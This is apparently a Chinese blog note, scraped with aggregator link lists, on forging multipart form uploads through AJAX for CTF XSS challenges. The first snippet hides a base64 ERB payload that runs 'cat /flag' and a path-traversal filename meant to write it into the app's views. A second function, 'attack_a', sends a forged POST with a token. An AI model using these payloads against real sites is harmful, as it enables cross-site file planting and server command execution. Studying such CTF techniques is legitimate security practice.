ajax上传表单的俩种方式
1.用h5对象上传表单(图片)
var formData = new FormData();
formData.append("authenticity_token", '1212121212');
formData.append("file[context]", "zxcvxzcvxzcv");
var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "https://xz.aliyun.com/t/3245");
request.send(formData);
请求体
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="authenticity_token" 1212121212
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[context]" zxcvxzcvxzcv
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"
Content-Type: image/png PCU9IGBjYXQgL2ZsYWcgYCAlPg==
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="commit" submit
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--
1.用h5对象上传表单(txt)
var formData = new FormData();
var content = 'testestestes'; //这是文件内容的base64
var blob = new Blob([content], { type: "text/plain"});
formData.append("file[myfile]", blob,"haha.txt"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "https://xz.aliyun.com/t/3245");
request.send(formData);
请求体
------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt"
Content-Type: text/plain testestestes
------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="commit" submit
------WebKitFormBoundaryFcFYtbPnXsiq8yjI--
2.使用原生js上传表单数据
通过余弦这个网站辅助生成表单
xhr = function(){
/*AJAX*/
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
try {
request = new window.ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
xhr.send(argv);
return xhr.responseText;
}
attack_a = function(){
var src = "https://xz.aliyun.com";
var authenticity_token = "1212121212";
var file = "zxcvxzcvxzcv";
var argv_0 = "\r\n";
argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n";
argv_0 += (authenticity_token+"\r\n");
argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n";
argv_0 += (file+"\r\n");
argv_0 += "---------------------7964f8dddeb95fc5--\r\n";
request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}
请求体:
---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token" 1212121212
---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="file" zxcvxzcvxzcv
---------------------7964f8dddeb95fc5--

HCTF share的详解ajax构造表单:
https://xz.aliyun.com/t/3258 xss上传表单
http://sec2hack.com/ctf/sctf2018-web-writeup.html xss获取源码
https://xz.aliyun.com/t/2469#toc-1巅峰极客wp,xss获取图片
ajax上传表单的俩种方式的更多相关文章
- 使用ajax上传表单(带文件)
在使用form表单的时候上传文件+表单,会使得页面跳转,而在某些时候不希望跳转,只变化页面中的局部信息 通过查找资料,可以使用FormData进行ajax操作. FormData介绍:XMLHttpR ...
- 使用AJAX异步提交表单的几种方式
方式一 手工收集所有的用户输入,封装为大的“k1=v1&k2=v2…”键值对形式,使用$.post(url, data,fn)把数据提交给服务器 $.ajax({ type:'post', u ...
- 【Flask】 结合wtforms的文件上传表单
表单中的文件上传 基本的表单渲染,表单类设置等等就不多说了,参看另一个文章即可.但是那篇文章里没有提到对于FileField,也就是上传文件的表单字段是如何处理,后端又是如何实现接受上传过来的文件的. ...
- 上传漏洞科普[1]-文件上传表单是Web安全主要威胁
为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...
- bootstrap上传表单的时候上传的数据默认是0 一定要小心
bootstrap上传表单的时候上传的数据默认是0 一定要小心
- JavaScript表单提交四种方式
总结JavaScript表单提交四种方式 <!DOCTYPE html> <html> <head> <title>JavaScript表单提交四种方式 ...
- Ajax提交Form表单的一种方法
待提交的表单 <form id="updatePublicKey" enctype="multipart/form-data"> <div c ...
- C# MVC提交表单的四种方式(转)
Mvc 提交表单的4种方法全程详解(转) 一,MVC HtmlHelper方法 Html.BeginForm(actionName,controllerName,method,htmlAttribu ...
- 【总结-前台发送后台接收表单】MVC提交表单的四种方式
https://www.cnblogs.com/chenwolong/p/Form.html#commentform 后台控制器接收前台表单参数三种方法: 一.普通参数 HTML标签name 和参数名 ...
随机推荐
- [javaSE] 集合框架(Map概述)
Map集合,将key对象映射到value对象 三个主要的子类:Hashtable,HashMap,TreeMap Hashtable:底层是哈希表数据结构,不允许使用null值,线程同步 HashMa ...
- 十六、curator recipes之DistributedIdQueue
简介 curator实现了一种分布式ID队列,也是遵循FIFO原则,比普通队列新增的一个点是ID队列可以根据ID对队列元素进行操作,比如移除该元素. 官方文档:http://curator.apach ...
- 九、curator recipes之不可重入锁InterProcessSemaphoreMutex
简介 recipes的InterProcessSemaphoreMutex是一种不可重入的互斥锁,也就意味着即使是同一个线程也无法在持有锁的情况下再次获得锁,所以需要注意,不可重入的锁很容易在一些情况 ...
- 基于SSM框架配置多数据源
项目基于ssm + maven,通过注解可以实现自动切换数据源. 一.pom.xml <?xml version="1.0" encoding="UTF-8&quo ...
- [翻译]Review——How JavaScript works:The building blocks of Web Workers
原文地址:https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-w ...
- PHP之httpRequest
<?php /** * Respose A Http Request * * @param string $url * @param array $post * @param string $m ...
- 用java访问Oracle数据库、取得记录并输出到界面
Class.forName(“oracle.jdbc.driver.OracleDriver”);Connection conn=DriverManager.getConnection( url , ...
- svn add @2x image 文件
svn add `svn status . | grep "^?" | awk '{print $2"@"}'`
- Output assignment statements in the output statement
package output.statement; public class OutputAssignmentStatementsInTheOutputStatement { public stati ...
- 微信小程序开发9-宿主环境(2)
1.一个小程序页面可以分解成多个部分组成,组件就是小程序页面的基本组成单元.为了让开发者可以快速进行开发,小程序的宿主环境提供了一系列基础组件.组件是在WXML模板文件声明中使用的,WXML的语法和H ...